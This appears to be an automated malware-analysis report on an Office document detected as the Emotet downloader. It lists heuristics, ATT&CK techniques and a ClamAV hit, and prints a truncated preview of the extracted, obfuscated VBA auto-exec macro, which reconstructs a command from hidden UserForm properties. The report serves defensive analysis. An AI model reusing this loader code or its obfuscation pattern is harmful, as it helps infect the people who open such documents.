MALICIOUS
302
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1059 Command and Scripting Interpreter
The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. Heuristics indicate the use of CreateObject and GetObject, along with a hidden UserForm command stager, suggesting the macro's purpose is to download and execute a second-stage payload. ClamAV detection confirms the presence of Emotet, a known downloader.
Heuristics 8
-
ClamAV: Doc.Downloader.Emotet-7459477-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-7459477-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 7797 bytes |
SHA-256: dc464572caeef2f58b4cf32489b5ca62c69591a4d828702a9e79df813c14281e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Rvwqpele"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Wltmbgzzklq, 0, 0, MSForms, TextBox"
Private Sub Document_open()
Dim Ovsdpcvwtt, Cgvjrzilo
For Sbigsalxqooo = Lmwagslpanb To Dnzevfbzbg
Wiwouosi = Mlkhrjdav
Pijqjsil = Hex(Gaykkoagyj)
Wbotnoswblrc = Chr(Nykvjxbw)
Mxhucuwupx = Bqfutuivi - Kbcwdanq
Dhphxuhoxmjo = Upodgokcquwsa
Ucglnyipnvza = Hex(Juvwfbnljj)
Aqvkfujvcj = Int(Rxlabign)
Next
Dim Xhlibcnad, Tnixwwlcskkgf
For Sxuwvuaeiknj = Jofmtnsvyrnbl To Mbfxgkqfgrfsj
Intejvfulxc = Diuicgwjhmlos
Uovjvkiaigobg = Hex(Zenrbxxwpcdd)
Hqqmhzwc = Chr(Nuilcoep)
Mgabhaxsfg = Hzaqxpzhy - Mdhpluayob
Bpoegbexnjg = Llqppvopwo
Lmxeidfs = Hex(Ajltftzxdwugz)
Iygazebqev = Int(Sffbuymlh)
Next
Dim Xswvuknhds, Zdhstbaf
For Uqkeekoqjnzup = Aggfmzpoao To Pnoudzayglqgc
Jkbeotjtut = Xfbjpzozduswv
Dppactmfezk = Hex(Gutbcact)
Agotjosf = Chr(Dgefsyfkzxkfj)
Ibruulwympuo = Rmuaqzaq - Evsugsuwd
Malooghr = Jehhlpetkrsni
Tcruuxkzceljl = Hex(Tzyjuqkmvcpc)
Izsvpuepwv = Int(Fedagtrrytpyu)
Next
Dugnaunzi
End Sub
Attribute VB_Name = "Yofjdutb"
Attribute VB_Base = "0{5E09956F-FDC5-48F7-99DE-1B12214F7BF7}{F2EDD97B-4016-4279-926B-F9069B0A3FD2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Attribute VB_Name = "Dbeqxqyobdi"
Function Jbnuxvdqpqdlz()
Dim Uwjncacypy, Agigshjw
For Dehffmclsa = Egxnuhgrohv To Kotqrcgujs
Xvpvefyrn = Jfncqawv
Svyjvaxftu = Hex(Hxlrwkcxdzhm)
Ezqtmwwtez = Chr(Ifalthoryq)
Emtljtnmzkwyp = Qvnsmzkbw - Fzyslojrpadl
Mfmyicwuzx = Xeztkwornn
Yipyjhnkd = Hex(Uxdouvlzawaqe)
Pgwsxyrfzanyl = Int(Lhpeewhitw)
Next
Ingwpfzt = Rvwqpele.Wltmbgzzklq
Dim Onwvvlved, Tfhwwsszjrtmi
For Bgbohvzailh = Gsffurvksag To Etovboegko
Jatfyloycsr = Sqveiguburg
Jtpiwdcqkqb = Hex(Proklbbhjxjb)
Inojntkbu = Chr(Wokxhatzorcm)
Ejgavfhvu = Wholjowf - Nrkbxpbmrfb
Ijeazdmb = Ultfofcfhuq
Vzyqfidobsdg = Hex(Nxbcotapq)
Nhoztjmrqj = Int(Nhtqctsp)
Next
Fivghfekka = Ingwpfzt + Yofjdutb.Xbspldhufxu + Yofjdutb.Sirdoncib + Yofjdutb.Eqaemdndxja
Dim Ssgecajkoqbc, Hwvczdsiyobz
For Rsqqmmkrlrfu = Wqsmquox To Vjzkurdcn
Vzlqpkqldwft = Iwojsduwlv
Axtodgshaq = Hex(Ajymtipqgxlvo)
Pyznpndjtrot = Chr(Klrosiif)
Dfmfclxa = Djbdrixzeu - Rpwmuhvjlkq
Kbxgiuojmx = Oxkljamyon
Qrqeaztsfs = Hex(Aswaqfesu)
Kkycjexvx = Int(Qrdjimdifvq)
Next
Wsveudlompqzp = Fivghfekka + Yofjdutb.Yiocigbqp + Yofjdutb.Esfybzpbjdqoi
Dim Yrrctrzlmcpzg, Bxjuiekaqfp
For Olbhlyrjt = Lsqalzlxueiyr To Vnraxduuwbbh
Kfiimiqnk = Tsdagmjmsdds
Tryuykrxpjza = Hex(Mchdbjdlq)
Orvuehnprtr = Chr(Mfzvdtbfxeaq)
Qjnhaedj = Dkbllymukoqvj - Xrkrnueih
Dlqnpcmds = Puyrffhjvzgz
Tsfbzbupev = Hex(Xyoifopf)
Svpybybgwmn = Int(Khctqxapdrbii)
Next
Jbnuxvdqpqdlz = Dmehcownpr + Wsveudlompqzp + Dmehcownpr
Dim Hqhkaddmkd, Ryiobqrii
For Hlqhhwagcu = Rwzfvhvjxm To Dwuqovuazfzy
Wpkwunqpqsck = Mxouzvek
Shaajmwavz = Hex(Yasyeogbo)
Tncrezorlnadn = Chr(Gdwboxohync)
Pdavoihnhvr = Izsyxfmpi - Mpbegddcy
Hnepefcy = Ahopoaqxp
Bujygcger = Hex(Kgrfthag)
Uamhmpscnf = Int(Vgsvqxdvuqpw)
Next
End Function
Function Dugnaunzi()
Dim Chfmkmovjpu, Uoucmneiajyi
For Urnmmdtd = Swmnxyysygv To Gjebebyhezkt
Chlyqgfkparkb = Jegjygdic
Jioxbttc = Hex(N
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.